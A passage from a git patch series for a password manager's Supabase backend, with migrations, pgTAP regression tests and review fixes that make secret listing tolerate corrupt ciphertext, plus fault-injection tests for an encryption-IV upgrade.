secret_id='d1800000-0000-4000-8000-000000000022'; SELECT is(public.safe_decrypt_twofa_secret(twofa_secret),'NEWPLAINTEXTSEED', 'restored trigger accepts plaintext and encrypts in the new format') FROM public.secret_metadata WHERE secret_id='d1800000-0000-4000-8000-000000000022'; +-- A misbehaving trigger models silent corruption after a successful preflight. +UPDATE public.secrets SET password_encrypted=pg_temp.legacy_iv_encrypt(e.password) +FROM iv_expected e WHERE website='iv-upgrade.test'; +CREATE TEMP TABLE iv_before_fault AS SELECT password_encrypted FROM public.secrets WHERE website='iv-upgrade.test'; +CREATE FUNCTION pg_temp.iv_fault() RETURNS trigger LANGUAGE plpgsql AS $$ +BEGIN + IF (SELECT count(*) FROM pg_locks WHERE pid=pg_backend_pid() + AND relation IN ('public.secrets'::regclass, 'public.secret_metadata'::regclass) + AND mode='AccessExclusiveLock' AND granted) <> 2 THEN + RAISE EXCEPTION 'missing backfill table locks'; + END IF; + NEW.password_encrypted := public.encrypt_text('silently changed'); + RETURN NEW; +END; +$$; +CREATE TRIGGER iv_fault BEFORE UPDATE ON public.secrets +FOR EACH ROW WHEN (OLD.website='iv-upgrade.test') EXECUTE FUNCTION pg_temp.iv_fault(); +SELECT throws_ok($migration$ +\ir ../migrations/20260914000000_randomize_secret_encryption_iv.sql +$migration$, 'P0001', + 'IV upgrade verification failed for public.secrets.password_encrypted: expected 1 rows, found 1, mismatched 1; rolling back', + 'postcondition catches silent plaintext changes while both tables are locked'); +SELECT results_eq($$SELECT password_encrypted FROM public.secrets WHERE website='iv-upgrade.test'$$, + $$SELECT * FROM iv_before_fault$$, 'postcondition failure rolls back the ciphertext rewrite'); +DROP TRIGGER iv_fault ON public.secrets; +CREATE OR REPLACE FUNCTION pg_temp.iv_fault() RETURNS trigger LANGUAGE plpgsql AS $$ +BEGIN + DELETE FROM public.secrets WHERE id=NEW.id; + RETURN NULL; +END; +$$; +CREATE TRIGGER iv_fault AFTER UPDATE ON public.secrets +FOR EACH ROW WHEN (OLD.website='iv-upgrade.test') EXECUTE FUNCTION pg_temp.iv_fault(); +SELECT throws_ok($migration$ +\ir ../migrations/20260914000000_randomize_secret_encryption_iv.sql +$migration$, 'P0001', + 'IV upgrade verification failed for public.secrets.password_encrypted: expected 1 rows, found 0, mismatched 0; rolling back', + 'postcondition catches row-count drift'); +SELECT results_eq($$SELECT password_encrypted FROM public.secrets WHERE website='iv-upgrade.test'$$, + $$SELECT * FROM iv_before_fault$$, 'row-count failure restores deleted data'); +DROP TRIGGER iv_fault ON public.secrets; + -- Corruption fails closed before any row or trigger is changed, with a -- column-specific recovery hint rather than leaking a value in diagnostics. ALTER TABLE public.secret_metadata DISABLE TRIGGER encrypt_twofa_secret_trigger; -UPDATE public.secret_metadata SET twofa_secret='v1:invalid!' +UPDATE public.secret_metadata SET twofa_secret='v1:invalid!', recovery_codes_encrypted='invalid!' WHERE secret_id='d1800000-0000-4000-8000-000000000022'; ALTER TABLE public.secret_metadata ENABLE TRIGGER encrypt_twofa_secret_trigger; SELECT throws_ok($migration$ \ir ../migrations/20260914000000_randomize_secret_encryption_iv.sql $migration$, 'P0001', - 'IV upgrade refused: 1 unreadable rows in public.secret_metadata.twofa_secret; recover these rows with the correct key before retrying', - 'unreadable TOTP aborts the actual migration with column-only diagnostics'); + 'IV upgrade refused: 1 unreadable rows in public.secret_metadata.recovery_codes_encrypted; 1 unreadable rows in public.secret_metadata.twofa_secret; recover these rows with the correct key and valid UTF-8 before retrying', + 'all unreadable columns are reported together without values'); SELECT is(twofa_secret, 'v1:invalid!', 'failed upgrade preserves the unreadable row') FROM public.secret_metadata WHERE secret_id='d1800000-0000-4000-8000-000000000022'; SELECT is(tgenabled, 'O'::"char", 'failed upgrade leaves TOTP encryption enabled') From fd3d90390467b3260a91dff9c4bf0f46504f811e Mon Sep 17 00:00:00 2001 From: Shivang Date: Mon, 14 Sep 2026 02:58:25 -0700 Subject: [PATCH 27/28] fix(secrets): propagate systemic listing failures and consolidate regression coverage Preserve the additional SQL listing cases from PR #652 by Akash Jadon. Original resilient listing implementation by Rushikeshiitb remains in preceding commits. Co-authored-by: Akash Jadon --- ...0260915000000_resilient_secret_listing.sql | 23 ++- .../tests/resilient_secret_listing_test.sql | 30 +++- ...ret_listing_decryption_resilience_test.sql | 147 ++++++++++++++++++ 3 files changed, 192 insertions(+), 8 deletions(-) create mode 100644 supabase/tests/secret_listing_decryption_resilience_test.sql diff --git a/supabase/migrations/20260915000000_resilient_secret_listing.sql b/supabase/migrations/20260915000000_resilient_secret_listing.sql index f9c071ac91..19c71cbaa9 100644 --- a/supabase/migrations/20260915000000_resilient_secret_listing.sql +++ b/supabase/migrations/20260915000000_resilient_secret_listing.sql @@ -5,13 +5,12 @@ -- Description: get_user_secrets, search_user_secrets and get_user_secrets_with_shared -- decrypted the password (and recovery codes) with a bare public.decrypt_text -- inside a set-returning query. decrypt_text RAISES on an undecryptable value - --- a wrong key after a partial rotation, storage corruption, or a v2 MAC --- mismatch - and one raised row aborts the WHOLE query, so a single bad row +-- a wrong key after a partial rotation or storage corruption - and one raised row aborts the WHOLE query, so a single bad row -- made every one of the caller's secrets fail to load, not just the bad one. -- twofa_secret was already read through safe_decrypt_twofa_secret (NULL on -- failure); recovery codes and passwords were not. -- --- This adds public.try_decrypt_text(text): decrypt_text wrapped so any failure +-- This adds public.try_decrypt_text(text): decrypt_text wrapped so a data decoding failure -- yields NULL for that one field, exactly as safe_decrypt_recovery_codes yields -- [] for a bad recovery-codes cell. The three listing RPCs now read the -- password through it and the recovery codes through the existing @@ -33,25 +32,37 @@ -- calls changed; every authorization source, the paging tiebreaker and the -- RETURNS TABLE shape are unchanged. Read authority is unchanged - only what a -- reader already entitled to a row sees when that row cannot be decrypted. The --- failure is now silent per row: monitor try_decrypt_text returning NULL on a non-null +-- failure emits a SQLSTATE-only warning: monitor NULL on a non-null -- password_encrypted, and note rotation still fails closed on the same rows -- because it reads through decrypt_text, not this wrapper. -- ============================================================================ +-- Missing/malformed/empty keys and privilege/undefined-function/internal errors +-- propagate. A valid-but-wrong key is indistinguishable from damaged ciphertext +-- in the unauthenticated legacy/v2 formats from #647; this is not key validation +-- or authenticated encryption. Rotation retains its strict decoder. + -- Function: try_decrypt_text - decrypt_text, but NULL instead of RAISE on failure. CREATE OR REPLACE FUNCTION "public"."try_decrypt_text"("ciphertext" "text") RETURNS "text" LANGUAGE "plpgsql" STABLE SECURITY DEFINER SET "search_path" TO '' AS $BODY$ +DECLARE + key_bytes bytea; BEGIN IF ciphertext IS NULL THEN RETURN NULL; END IF; + -- Validate key lookup/encoding outside the corrupt-row boundary. + key_bytes := public.get_encryption_key()::bytea; + IF key_bytes IS NULL OR octet_length(key_bytes) = 0 THEN + RAISE EXCEPTION USING ERRCODE = '22023', MESSAGE = 'Secret encryption key configuration is invalid'; + END IF; BEGIN RETURN public.decrypt_text(ciphertext); EXCEPTION - WHEN OTHERS THEN - -- Corrupt data, a wrong key mid-rotation, or a v2 integrity failure: + WHEN SQLSTATE '22023' OR SQLSTATE '22021' OR SQLSTATE '39000' THEN + -- Invalid base64/UTF-8 or pgcrypto decryption failure: -- blank this one field rather than abort the caller's whole listing. -- Report only SQLSTATE: error messages may contain secret material. RAISE WARNING 'Secret decryption failed (SQLSTATE %)', SQLSTATE; diff --git a/supabase/tests/resilient_secret_listing_test.sql b/supabase/tests/resilient_secret_listing_test.sql index 14b6572c63..1f3dbf43c0 100644 --- a/supabase/tests/resilient_secret_listing_test.sql +++ b/supabase/tests/resilient_secret_listing_test.sql @@ -11,7 +11,7 @@ -- failure), so one bad row surfaces as one blanked field while the rest load. begin; -select plan(17); +select plan(23); select vault.create_secret( 'a1b2c3d4e5f60718293a4b5c6d7e8f90a1b2c3d4e5f60718293a4b5c6d7e8f90', @@ -47,7 +47,7 @@ select is(public.try_decrypt_text('!!!not-valid-base64!!!'), NULL::text, -- behaviour the RPCs used to inherit. select throws_ok( $$ SELECT public.decrypt_text(password_encrypted) FROM public.secrets $$, - NULL, NULL, + NULL::text, NULL::text, 'bare decrypt_text over the set still aborts on the corrupt row'); set local role authenticated; @@ -92,5 +92,31 @@ select ok(not has_function_privilege('authenticated', 'public.try_decrypt_text(t select ok(not has_function_privilege('service_role', 'public.try_decrypt_text(text)', 'EXECUTE'), 'service_role cannot execute the internal resilient reader'); +-- Inject systemic failures without touching Vault data; transaction rollback restores functions. +CREATE OR REPLACE FUNCTION public.get_encryption_key() RETURNS text +LANGUAGE plpgsql SECURITY DEFINER AS $$ BEGIN + RAISE EXCEPTION USING ERRCODE = 'P0001', MESSAGE = 'synthetic unavailable key'; +END $$; +select throws_ok($$select public.try_decrypt_text('invalid')$$, 'P0001', NULL::text, + 'missing key propagates instead of blanking the page'); +CREATE OR REPLACE FUNCTION public.get_encryption_key() RETURNS text +LANGUAGE sql SECURITY DEFINER AS $$ SELECT ''::text $$; +select throws_ok($$select public.try_decrypt_text('invalid')$$, '22023', NULL::text, + 'empty key fails outside the row handler'); +CREATE OR REPLACE FUNCTION public.get_encryption_key() RETURNS text +LANGUAGE sql SECURITY DEFINER AS $$ SELECT 'synthetic-test-key'::text $$; +CREATE OR REPLACE FUNCTION public.decrypt_text(ciphertext text) RETURNS text +LANGUAGE plpgsql SECURITY DEFINER AS $$ BEGIN + RAISE EXCEPTION USING ERRCODE = ciphertext, MESSAGE = 'synthetic systemic failure'; +END $$; +select throws_ok($$select public.try_decrypt_text('42501')$$, '42501', NULL::text, + 'privilege errors propagate'); +select throws_ok($$select public.try_decrypt_text('42883')$$, '42883', NULL::text, + 'missing decoder propagates'); +select throws_ok($$select public.try_decrypt_text('XX000')$$, 'XX000', NULL::text, + 'internal errors propagate'); +select is(public.try_decrypt_text('39000'), NULL::text, + 'pgcrypto corrupt-ciphertext errors retain field fallback'); + select * from finish(); rollback; diff --git a/supabase/tests/secret_listing_decryption_resilience_test.sql b/supabase/tests/secret_listing_decryption_resilience_test.sql new file mode 100644 index 0000000000..ad761e91a9 --- /dev/null +++ b/supabase/tests/secret_listing_decryption_resilience_test.sql @@ -0,0 +1,147 @@ +-- pgTAP regression tests for fail-soft secret list decryption. +begin; +select plan(17); + +select vault.create_secret( + 'cGd0YXAtdGVzdC1rZXktMzItYnl0ZXMtYWVzLW9r', + 'master_encryption_key', + 'pgTAP test key (transaction-local)'); + +insert into auth.users (id, email, email_confirmed_at) values + ('d1900000-0000-4000-8000-000000000001', 'resilience@pgtap.test', now()), + ('d1900000-0000-4000-8000-000000000002', 'sharer@pgtap.test', now()); + +select set_config( + 'request.jwt.claims', + '{"sub":"d1900000-0000-4000-8000-000000000001","role":"authenticated"}', + true); +set local role authenticated; + +create temporary table secret_fixture (label text primary key, id uuid not null); +insert into secret_fixture +select 'good', (public.create_secret('resilience.example', 'good', 'good-password') ->> 'secret_id')::uuid; +insert into secret_fixture +select 'bad', (public.create_secret('resilience.example', 'bad', 'bad-password') ->> 'secret_id')::uuid; + +reset role; +update public.secrets +set password_encrypted = 'not-valid-ciphertext' +where id = (select id from secret_fixture where label = 'bad'); +insert into public.secret_metadata (secret_id, twofa_enabled, recovery_codes_encrypted) +values ( + (select id from secret_fixture where label = 'bad'), + true, + 'not-valid-ciphertext' +); + +-- A corrupt direct share exercises the separate sharing access path and proves +-- that decryption failure cannot erase its access metadata. +insert into public.secrets (id, user_id, website, username, password_encrypted) +values ( + 'd1900000-0000-4000-8000-000000000003', + 'd1900000-0000-4000-8000-000000000002', + 'shared-resilience.example', + 'sharer', + 'not-valid-ciphertext' +); +insert into public.secret_shares (secret_id, shared_with_user_id, shared_by, access_level) +values ( + 'd1900000-0000-4000-8000-000000000003', + 'd1900000-0000-4000-8000-000000000001', + 'd1900000-0000-4000-8000-000000000002', + 'read' +); + +select is( + public.try_decrypt_text(public.encrypt_text('round-trip')), + 'round-trip', + 'the internal helper returns plaintext for valid ciphertext' +); +select is( + public.try_decrypt_text('not-valid-ciphertext'), + null::text, + 'the internal helper returns null instead of raising for corrupt ciphertext' +); + +set local role authenticated; + +select is( + (select password from public.get_user_secrets() where id = (select id from secret_fixture where label = 'good')), + 'good-password', + 'get_user_secrets keeps returning decryptable secrets' +); +select is( + (select password from public.get_user_secrets() where id = (select id from secret_fixture where label = 'bad')), + ''::text, + 'get_user_secrets preserves its non-null password contract for corrupt data' +); +select is( + (select metadata->'recovery_codes' from public.get_user_secrets() where id = (select id from secret_fixture where label = 'bad')), + '[]'::jsonb, + 'get_user_secrets returns empty recovery codes when they cannot decrypt' +); +select is( + (select password from public.search_user_secrets('resilience.example') where id = (select id from secret_fixture where label = 'good')), + 'good-password', + 'search_user_secrets keeps returning decryptable secrets' +); +select is( + (select password from public.search_user_secrets('resilience.example') where id = (select id from secret_fixture where label = 'bad')), + ''::text, + 'search_user_secrets preserves its non-null password contract for corrupt data' +); +select is( + (select metadata->'recovery_codes' from public.search_user_secrets('resilience.example') where id = (select id from secret_fixture where label = 'bad')), + '[]'::jsonb, + 'search_user_secrets returns empty recovery codes when they cannot decrypt' +); +select is( + (select password from public.get_user_secrets_with_shared() where id = (select id from secret_fixture where label = 'good')), + 'good-password', + 'get_user_secrets_with_shared keeps returning decryptable secrets' +); +select is( + (select password from public.get_user_secrets_with_shared() where id = (select id from secret_fixture where label = 'bad')), + ''::text, + 'get_user_secrets_with_shared preserves its non-null password contract for corrupt data' +); +select is( + (select metadata->'recovery_codes' from public.get_user_secrets_with_shared() where id = (select id from secret_fixture where label = 'bad')), + '[]'::jsonb, + 'get_user_secrets_with_shared returns empty recovery codes when they cannot decrypt' +); +select throws_ok( + $$ select public.try_decrypt_text('not-valid-ciphertext') $$, + '42501', + null, + 'authenticated users cannot use the helper as a decryption oracle' +); +select is( + (select count(*)::int from public.get_user_secrets() where website = 'resilience.example'), + 2, + 'a corrupt secret still appears as one row rather than aborting the list' +); +select is( + (select password from public.get_user_secrets_with_shared() where website = 'shared-resilience.example'), + ''::text, + 'a corrupt direct share remains visible with a blank password' +); +select is( + (select access_level from public.get_user_secrets_with_shared() where website = 'shared-resilience.example'), + 'read', + 'a corrupt direct share retains its access level' +); +select is( + (select shared_by_email from public.get_user_secrets_with_shared() where website = 'shared-resilience.example'), + 'sharer@pgtap.test', + 'a corrupt direct share retains sharing attribution' +); +select ok( + not has_function_privilege('anon', 'public.try_decrypt_text(text)', 'EXECUTE') + and not has_function_privilege('service_role', 'public.try_decrypt_text(text)', 'EXECUTE'), + 'the fail-soft helper remains inaccessible to anonymous and service roles' +); + +reset role; +select * from finish(); +rollback; From 6684f5341e2b01e8d3dbe18588721ccd53e1921e Mon Sep 17 00:00:00 2001 From: Rushikesh Date: Mon, 14 Sep 2026 18:46:27 +0530 Subject: [PATCH 28/28] fix(secrets): address resilient-listing review findings A-F - Widen try_decrypt_text handler to the data_exception / external_routine_invocation_exception condition names (explicit class match, covers 22P05); systemic faults still propagate. - Correct the migration header runbook: signal is an empty password plus the SQLSTATE-only server warning, never a NULL after the RPC COALESCE. - Note password_encrypted stays mapped to strict decrypt_text in the rotation script on purpose (rotation must fail closed). - Cross-reference the two overlapping pgTAP suites; credit Akash Jadon (#652). - Add a SecretDecodingTest case asserting a null password fails to decode, which is why the listing RPCs COALESCE a failed decryption to an empty string. --- .../services/supabase/SecretDecodingTest.kt | 32 +++++++++++++++++++ ...0260915000000_resilient_secret_listing.sql | 24 ++++++++++---- supabase/ops/rotate_master_encryption_key.sql | 9 ++++++ .../tests/resilient_secret_listing_test.sql | 9 ++++++ ...ret_listing_decryption_resilience_test.sql | 10 ++++++ 5 files changed, 78 insertions(+), 6 deletions(-) diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/services/supabase/SecretDecodingTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/services/supabase/SecretDecodingTest.kt index bc296d4ea7..c9b1638d07 100644 --- a/composeApp/src/desktopTest/kotlin/ai/rever/boss/services/supabase/SecretDecodingTest.kt +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/services/supabase/SecretDecodingTest.kt @@ -3,6 +3,7 @@ package ai.rever.boss.services.supabase import ai.rever.boss.services.supabase.models.SecretEntry import ai.rever.boss.services.supabase.models.SecretEntryWithSharing import ai.rever.boss.services.supabase.models.SecretShareEntry +import kotlinx.serialization.SerializationException import kotlinx.serialization.json.JsonObject import kotlinx.serialization.json.JsonObjectBuilder import kotlinx.serialization.json.JsonPrimitive @@ -12,6 +13,7 @@ import kotlinx.serialization.json.decodeFromJsonElement import kotlinx.serialization.json.put import kotlin.test.Test import kotlin.test.assertEquals +import kotlin.test.assertFailsWith import kotlin.test.assertFalse import kotlin.test.assertNull @@ -59,6 +61,36 @@ class SecretDecodingTest { assertEquals(listOf("readable", ""), shared.map { it.password }) } + @Test + fun `a null password fails the whole decode - which is why the listing RPCs COALESCE it to empty`() { + // The load-bearing counterpart to the empty-string case above: "" decodes whether or not + // the SQL COALESCE exists, so on its own it proves nothing about the fix. This pins WHY the + // COALESCE must be there. SecretEntry.password and SecretEntryWithSharing.password are + // non-null String with no default, and supabaseJson's coerceInputValues coerces a null only + // into a property's default - a required field without one still throws. Because these RPCs + // return LISTS, that throw is all-or-nothing and takes the WHOLE page, which is exactly the + // outage this PR removes. So try_decrypt_text's NULL is COALESCEd to '' in every listing RPC + // (migration 20260915000000) before it can ever reach this decoder. + val payload = + buildJsonArray { + add( + buildJsonObject { + baseSecret("corrupt") + put("password", null as String?) + put("is_owner", true) + put("access_level", "owner") + }, + ) + } + + assertFailsWith { + supabaseJson.decodeFromJsonElement>(payload) + } + assertFailsWith { + supabaseJson.decodeFromJsonElement>(payload) + } + } + /** The ten columns every secret RPC returned before the organisation work. */ private fun JsonObjectBuilder.baseSecret(id: String) { put("id", id) diff --git a/supabase/migrations/20260915000000_resilient_secret_listing.sql b/supabase/migrations/20260915000000_resilient_secret_listing.sql index 19c71cbaa9..ae7fa2e3e5 100644 --- a/supabase/migrations/20260915000000_resilient_secret_listing.sql +++ b/supabase/migrations/20260915000000_resilient_secret_listing.sql @@ -32,9 +32,13 @@ -- calls changed; every authorization source, the paging tiebreaker and the -- RETURNS TABLE shape are unchanged. Read authority is unchanged - only what a -- reader already entitled to a row sees when that row cannot be decrypted. The --- failure emits a SQLSTATE-only warning: monitor NULL on a non-null --- password_encrypted, and note rotation still fails closed on the same rows --- because it reads through decrypt_text, not this wrapper. +-- failure emits a SQLSTATE-only server warning +-- ('Secret decryption failed (SQLSTATE %)'). The RPCs COALESCE the helper's +-- NULL to '', so an installed client still decodes: the client-visible signal +-- is therefore an EMPTY password on a non-null password_encrypted, not a NULL, +-- and the authoritative signal is that server warning. Rotation still fails +-- closed on the same rows because it reads through decrypt_text, not this +-- wrapper. -- ============================================================================ -- Missing/malformed/empty keys and privilege/undefined-function/internal errors @@ -61,9 +65,17 @@ BEGIN BEGIN RETURN public.decrypt_text(ciphertext); EXCEPTION - WHEN SQLSTATE '22023' OR SQLSTATE '22021' OR SQLSTATE '39000' THEN - -- Invalid base64/UTF-8 or pgcrypto decryption failure: - -- blank this one field rather than abort the caller's whole listing. + WHEN data_exception OR external_routine_invocation_exception THEN + -- The VALUE is bad, not the system. These are condition names, i.e. + -- CLASS matches (not exact SQLSTATEs): data_exception is all of class + -- 22 (invalid base64 22023, invalid/untranslatable UTF-8 22021/22P05) + -- and external_routine_invocation_exception is all of class 39 (the + -- pgcrypto decryption failure). A systemic fault stays uncaught and so + -- still aborts the listing: a malformed key raises 22P02 on the + -- get_encryption_key()::bytea cast ABOVE this block, and a missing key + -- (P0001), a revoked EXECUTE (42501), a dropped decrypt_text (42883) + -- or an internal error (XX000) are outside both classes. + -- Blank this one field rather than abort the caller's whole listing. -- Report only SQLSTATE: error messages may contain secret material. RAISE WARNING 'Secret decryption failed (SQLSTATE %)', SQLSTATE; RETURN NULL; diff --git a/supabase/ops/rotate_master_encryption_key.sql b/supabase/ops/rotate_master_encryption_key.sql index 7fd08d048d..55d36eab96 100644 --- a/supabase/ops/rotate_master_encryption_key.sql +++ b/supabase/ops/rotate_master_encryption_key.sql @@ -50,6 +50,15 @@ declare -- are read through safe_decrypt_* wrappers that tolerate formats plain -- decrypt_text does not, so verifying them with decrypt_text would prove -- something nobody relies on. + -- + -- One deliberate carve-out to that rule: secrets.password_encrypted is mapped + -- to public.decrypt_text below, even though the application's LISTING path now + -- reads passwords through public.try_decrypt_text (20260915000000), which + -- returns NULL instead of raising. That resilient reader exists so one corrupt + -- row does not blank a whole page; rotation is the opposite job and must fail + -- CLOSED, so it verifies with the strict decrypt_text and refuses to advance + -- past a row it cannot decrypt. The map stays decrypt_text on purpose - do not + -- "align" it with try_decrypt_text. cols text[][] := array[ array['secrets','password_encrypted','id','','public.decrypt_text'], array['secret_metadata','recovery_codes_encrypted','id','','public.safe_decrypt_recovery_codes'], diff --git a/supabase/tests/resilient_secret_listing_test.sql b/supabase/tests/resilient_secret_listing_test.sql index 1f3dbf43c0..adaa2381c0 100644 --- a/supabase/tests/resilient_secret_listing_test.sql +++ b/supabase/tests/resilient_secret_listing_test.sql @@ -9,6 +9,15 @@ -- routes the password through try_decrypt_text (NULL on failure) and the -- recovery codes through the existing safe_decrypt_recovery_codes ([] on -- failure), so one bad row surfaces as one blanked field while the rest load. +-- +-- COMPANION SUITE - do not delete either as a "duplicate". This file and +-- supabase/tests/secret_listing_decryption_resilience_test.sql (from PR #652 by +-- Akash Jadon) overlap on the happy path but each holds cases the other does +-- not. Unique to THIS file: the synthetic systemic-failure cases below that pin +-- a missing/empty key, a revoked EXECUTE, a dropped decrypt_text and an internal +-- error still PROPAGATE (they must abort the listing, not blank every row). +-- Unique to that file: the oracle-denial throws_ok on a client calling +-- try_decrypt_text directly. Removing one loses half the coverage. begin; select plan(23); diff --git a/supabase/tests/secret_listing_decryption_resilience_test.sql b/supabase/tests/secret_listing_decryption_resilience_test.sql index ad761e91a9..bbc4415237 100644 --- a/supabase/tests/secret_listing_decryption_resilience_test.sql +++ b/supabase/tests/secret_listing_decryption_resilience_test.sql @@ -1,4 +1,14 @@ -- pgTAP regression tests for fail-soft secret list decryption. +-- Contributed in PR #652 by Akash Jadon , consolidated +-- alongside the original resilient-listing work (migration 20260915000000). +-- +-- COMPANION SUITE - do not delete either as a "duplicate". This file and +-- supabase/tests/resilient_secret_listing_test.sql overlap on the happy path but +-- each holds cases the other does not. Unique to THIS file: the oracle-denial +-- throws_ok on a client calling try_decrypt_text directly. Unique to that file: +-- the synthetic systemic-failure cases pinning that a missing/empty key, a +-- revoked EXECUTE, a dropped decrypt_text and an internal error still PROPAGATE. +-- Removing one loses half the coverage. begin; select plan(17);